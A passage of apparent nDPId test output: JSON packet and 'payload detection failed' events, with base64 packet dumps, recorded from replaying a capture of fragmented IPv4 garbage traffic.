failed","thread_id":0,"packet_id":70,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":71,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698657,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjEAGRSUKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":71,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":72,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698669,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjkAGRSMKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":72,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":73,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698718,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkEAGRSEKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":73,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":74,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698725,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkkAGRR8KAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":74,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":75,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698733,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglEAGRR0KAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":75,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":76,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698740,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglkAGRRsKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":76,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":77,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698748,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmEAGRRkKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":77,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":78,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698755,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmkAGRRcKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":78,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":79,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698762,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnEAGRRUKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":79,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":80,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698770,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnkAGRRMKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":80,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":81,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698777,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgoEAGRREKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":81,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":82,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698792,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgokAGRQ8KAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":82,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":83,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698804,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpEAGRQ0KAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":83,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":84,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698815,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpkAGRQsKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":84,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":85,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698826,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqEAGRQkKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":85,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":86,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698838,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqkAGRQcKAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":86,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":87,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698850,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrEAGRQUKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":87,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":88,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698861,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrkAGRQMKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":88,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":89,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698873,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgsEAGRQEKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":89,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":90,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698884,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgskAGRP8KAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":90,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":91,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698896,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtEAGRP0KAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":91,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":92,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698911,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtkAGRPsKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":92,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":93,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698923,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAguEAGRPkKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":93,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":94,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698935,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgukAGRPcKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":94,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":95,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698946,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvEAGRPUKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":95,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":96,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698958,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvkAGRPMKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":96,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":97,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698970,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwEAGRPEKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":97,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":98,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698990,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwkAGRO8KAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":98,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":99,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699002,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxEAGRO0KAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":99,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":100,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699014,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxkAGROsKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":100,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":101,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699025,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgyEAGROkKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":101,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":102,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699036,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgykAGROcKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":102,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":103,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699048,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzEAGROUKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":103,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":104,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699061,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzkAGROMKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":104,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":105,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699073,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0EAGROEKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":105,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":106,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699085,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0kAGRN8KAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":106,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":107,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699100,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1EAGRN0KAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":107,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":108,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699114,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1kAGRNsKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":108,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":109,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699126,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2EAGRNkKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":109,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":110,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699138,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2kAGRNcKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":110,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":111,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699149,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3EAGRNUKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":111,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":112,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699161,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3kAGRNMKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":112,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":113,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699173,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4EAGRNEKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} 